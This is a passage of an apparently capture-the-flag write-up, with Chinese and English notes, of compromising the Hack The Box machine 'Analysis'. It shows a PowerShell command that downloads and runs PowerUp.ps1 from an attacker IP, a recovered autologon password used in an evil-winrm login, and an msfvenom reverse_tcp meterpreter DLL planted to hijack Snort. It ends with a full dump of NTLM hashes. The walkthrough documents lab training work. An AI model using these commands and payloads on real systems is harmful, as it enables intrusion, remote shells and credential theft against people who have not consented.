$LDAP_CellPhone = $entries[$x]['mobile'][0];
if ($LDAP_CellPhone == "NULL") {
$LDAP_CellPhone = "";
}
}
//Telephone Number
$LDAP_DDI = "";
if (!empty($entries[$x]['telephonenumber'][0])) {
$LDAP_DDI = $entries[$x]['telephonenumber'][0];
if ($LDAP_DDI == "NULL") {
$LDAP_DDI = "";
}
}
//Email address
$LDAP_InternetAddress = "";
if (!empty($entries[$x]['mail'][0])) {
$LDAP_InternetAddress = $entries[$x]['mail'][0];
if ($LDAP_InternetAddress == "NULL") {
$LDAP_InternetAddress = "";
}
}
//Home phone
$LDAP_HomePhone = "";
if (!empty($entries[$x]['homephone'][0])) {
$LDAP_HomePhone = $entries[$x]['homephone'][0];
if ($LDAP_HomePhone == "NULL") {
$LDAP_HomePhone = "";
}
}
echo "<tr><td><strong>" . $LDAP_samaccountname . "</strong></td><td>" . $LDAP_LastName . "</td><td>" . $LDAP_FirstName . "</td><td>" . $LDAP_CompanyName . "</td><td>" . $LDAP_Department . "</td><td>" . $LDAP_OfficePhone . "</td><td>" . $LDAP_OfficeFax . "</td><td>" . $LDAP_CellPhone . "</td><td>" . $LDAP_DDI . "</td><td>" . $LDAP_InternetAddress . "</td><td>" . $LDAP_HomePhone . "</td></tr>";
} //END FALSE !== $result
ldap_unbind($ldap_connection); // Clean up after ourselves.
echo ("</table>"); //close the table
} //END ldap_bind
}
else{
echo "missing parameter";
}
C:\inetpub\internal\users>
[2] 0:zsh 1:zsh- 2:zsh*Z 3:zsh 4:zsh
PowerUp.ps1
Referer: Windows - Privilege Escalation - Internal All The Things (swisskyrepo.github.io)
C:\inetpub\internal\dashboard\uploads>powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.4/PowerUp.ps1'); Invoke-AllChecks
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.4/PowerUp.ps1'); Invoke-AllChecks
Get-WmiObject : Accs refus
Au caractre Ligne:2066 : 21
+ $VulnServices = Get-WmiObject -Class win32_service | Where-Object ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation : (:) [Get-WmiObject], ManagementException
+ FullyQualifiedErrorId : GetWMIManagementException,Microsoft.PowerShell.Commands.GetWmiObjectCommand
Get-WMIObject : Accs refus
Au caractre Ligne:2133 : 5
+ Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pat ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation : (:) [Get-WmiObject], ManagementException
+ FullyQualifiedErrorId : GetWMIManagementException,Microsoft.PowerShell.Commands.GetWmiObjectCommand
Get-Service : Impossible d'ouvrir le Gestionnaire de contrle des services sur l'ordinateur '.'. Cette opration
requiert des privilges supplmentaires.
Au caractre Ligne:2189 : 5
+ Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeCo ...
+ ~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [Get-Service], InvalidOperationException
+ FullyQualifiedErrorId : System.InvalidOperationException,Microsoft.PowerShell.Commands.GetServiceCommand
DefaultDomainName : analysis.htb.
DefaultUserName : jdoe
DefaultPassword : 7y4Z4^*y9Zzj
AltDefaultDomainName :
AltDefaultUserName :
AltDefaultPassword :
Check : Registry Autologons
找到了jdoe 的默认密码,jdoe 这个用户设置了自动登录,所以密码记录在了 注册表中
┌──(root㉿kali)-[/home/…/HTB/tools/chisel/windows]
└─# evil-winrm -i 10.10.11.250 -u jdoe -p '7y4Z4^*y9Zzj'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\jdoe\Documents> dir
Directory: C:\Users\jdoe\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/23/2023 9:15 AM BCDB
cd *Evil-WinRM* PS C:\Users\jdoe\Documentcd ..
使用evil-winrm 成功拿到user
root
unintendted way
*Evil-WinRM* PS C:\> dir
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/12/2023 10:01 AM inetpub
d----- 11/5/2022 8:14 PM PerfLogs
d----- 5/8/2023 10:20 AM PHP
d----- 1/24/2024 8:43 AM private
d-r--- 11/18/2023 9:56 AM Program Files
d----- 5/8/2023 10:11 AM Program Files (x86)
d----- 7/9/2023 10:57 AM Snort
d-r--- 5/26/2023 2:20 PM Users
d----- 1/10/2024 3:52 PM Windows
-a---- 1/24/2024 9:39 AM 296334 snortlog.txt
┌──(kali㉿kali)-[~/HTB/tools]
└─$ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.16.4 lport=4445 -f dll -o sf_engine.dll
*Evil-WinRM* PS C:\Snort\lib\snort_dynamicpreprocessor> upload ../../../../../../../../..//home/kali/HTB/machine/Analysis/sf_engine.dll sf_engine.dll
Info: Uploading /home/kali/HTB/tools/chisel/windows/../../../../../../../../..//home/kali/HTB/machine/Analysis/sf_engine.dll to C:\Snort\lib\snort_dynamicpreprocessor\tcapi.dll
这个路径下的dll我们可以修改,尝试dll劫持,替换其中的一个dll ,sf_engine.dll 为我们上线的dll,
等待几分钟
CVE-2016-1417-supplement
Referer:Snort 2.9.7.0-WIN32 DLL Hijacking ≈ Packet Storm (packetstormsecurity.com)
成功触发了dll劫持snort.exe -c …\etc\snort.conf -r 1.pcap
C:\Snort\bin>snort.exe -c ..\etc\snort.conf -r 1.pcap
Running in IDS mode
--== Initializing Snort ==--
Initializing Output Plugins!
Initializing Preprocessors!
Initializing Plug-ins!
Parsing Rules file "..\etc\snort.conf"
PortVar 'HTTP_PORTS' defined : [ 80:81 311 383 591 593 901 1220 1414 1741 1830 2301 2381 2809 3037 3128 3702 4343 4848 5250 6988 7000:7001 7144:7145 7510 7777 7779 8000 8008 8014 8028 8080 8085 8088 8090 8118 8123 8180:8181 8243 8280 8300 8800 8888 8899 9000 9060 9080 9090:9091 9443 9999 11371 34443:34444 41080 50002 55555 ]
PortVar 'SHELLCODE_PORTS' defined : [ 0:79 81:65535 ]
PortVar 'ORACLE_PORTS' defined : [ 1024:65535 ]
PortVar 'SSH_PORTS' defined : [ 22 ]
PortVar 'FTP_PORTS' defined : [ 21 2100 3535 ]
PortVar 'SIP_PORTS' defined : [ 5060:5061 5600 ]
PortVar 'FILE_DATA_PORTS' defined : [ 80:81 110 143 311 383 591 593 901 1220 1414 1741 1830 2301 2381 2809 3037 3128 3702 4343 4848 5250 6988 7000:7001 7144:7145 7510 7777 7779 8000 8008 8014 8028 8080 8085 8088 8090 8118 8123 8180:8181 8243 8280 8300 8800 8888 8899 9000 9060 9080 9090:9091 9443 9999 11371 34443:34444 41080 50002 55555 ]
PortVar 'GTP_PORTS' defined : [ 2123 2152 3386 ]
Detection:
Search-Method = AC-Full-Q
Split Any/Any group = enabled
Search-Method-Optimizations = enabled
Maximum pattern length = 20
Tagged Packet Limit: 256
Loading dynamic engine C:\Snort\lib\snort_dynamicengine\sf_engine.dll... done
Loading all dynamic preprocessor libs from C:\Snort\lib\snort_dynamicpreprocessor...
Loading dynamic preprocessor library C:\Snort\lib\snort_dynamicpreprocessor\sf_dce2.dll... done
Loading dynamic preprocessor library C:\Snort\lib\snort_dynamicpreprocessor\sf_dnp3.dll... done
Loading dynamic preprocessor library C:\Snort\lib\snort_dynamicpreprocessor\sf_dns.dll... done
Loading dynamic preprocessor library C:\Snort\lib\snort_dynamicpreprocessor\sf_ftptelnet.dll... done
Loading dynamic preprocessor library C:\Snort\lib\snort_dynamicpreprocessor\sf_gtp.dll... done
Loading dynamic preprocessor library C:\Snort\lib\snort_dynamicpreprocessor\sf_imap.dll... done
Loading dynamic preprocessor library C:\Snort\lib\snort_dynamicpreprocessor\sf_modbus.dll... done
Loading dynamic preprocessor library C:\Snort\lib\snort_dynamicpreprocessor\sf_pop.dll... done
Loading dynamic preprocessor library C:\Snort\lib\snort_dynamicpreprocessor\sf_reputation.dll... done
Loading dynamic preprocessor library C:\Snort\lib\snort_dynamicpreprocessor\sf_sdf.dll... done
Loading dynamic preprocessor library C:\Snort\lib\snort_dynamicpreprocessor\sf_sip.dll... done
Loading dynamic preprocessor library C:\Snort\lib\snort_dynamicpreprocessor\sf_smtp.dll... done
Loading dynamic preprocessor library C:\Snort\lib\snort_dynamicpreprocessor\sf_ssh.dll... done
Loading dynamic preprocessor library C:\Snort\lib\snort_dynamicpreprocessor\sf_ssl.dll... done
Loading dynamic preprocessor library C:\Snort\lib\snort_dynamicpreprocessor\tcapi.dll... ERROR: Failed to load C:\Snort\lib\snort_dynamicpreprocessor\tcapi.dll: 1114
Fatal Error, Quitting..
Could not create the registry key.
会加载 C:\Snort\lib\snort_dynamicpreprocessor下面所有dll
hashdump
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:584d96946e4ad1ddfa4f8d7938faf91d:::
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8549ecd32b0253e9894a422299fe2466:::
jdoe:1103:aad3b435b51404eeaad3b435b51404ee:190193db2c6c6d69c60cf5af64447ce0:::
soc_analyst:1104:aad3b435b51404eeaad3b435b51404ee:d6f020bbee8043520eb569e540913bd4:::
cwilliams:1105:aad3b435b51404eeaad3b435b51404ee:ce88373ebd6d687eac0a405734a266aa:::
technician:1106:aad3b435b51404eeaad3b435b51404ee:ce88373ebd6d687eac0a405734a266aa:::
webservice:1107:aad3b435b51404eeaad3b435b51404ee:780b446d7d76a85880ce49a387f18642:::
wsmith:1109:aad3b435b51404eeaad3b435b51404ee:3da4104738938858384180964346fc6c:::
jangel:1110:aad3b435b51404eeaad3b435b51404ee:eea7337a28121aab144ca78fed48fc7e:::
lzen:1111:aad3b435b51404eeaad3b435b51404ee:eea7337a28121aab144ca78fed48fc7e:::
svc_web:2101:aad3b435b51404eeaad3b435b51404ee:cf74f3b0e86e17fba5051e261b9785b2:::
amanson:2103:aad3b435b51404eeaad3b435b51404ee:5d5b796cd37d9e19d9d1ae10c22ffa78:::
badam:2104:aad3b435b51404eeaad3b435b51404ee:5d5b796cd37d9e19d9d1ae10c22ffa78:::
DC-ANALYSIS$:1000:aad3b435b51404eeaad3b435b51404ee:2ec9198220c4bb7306ba170b7fa007f9:::
In summary
subdoamin(internal)→ ffuf → list.php → ldap Inject → decription→ webshell→ PowerUp.ps1 → autologin store jdoe password→ jdoe → snort → dll hijack → root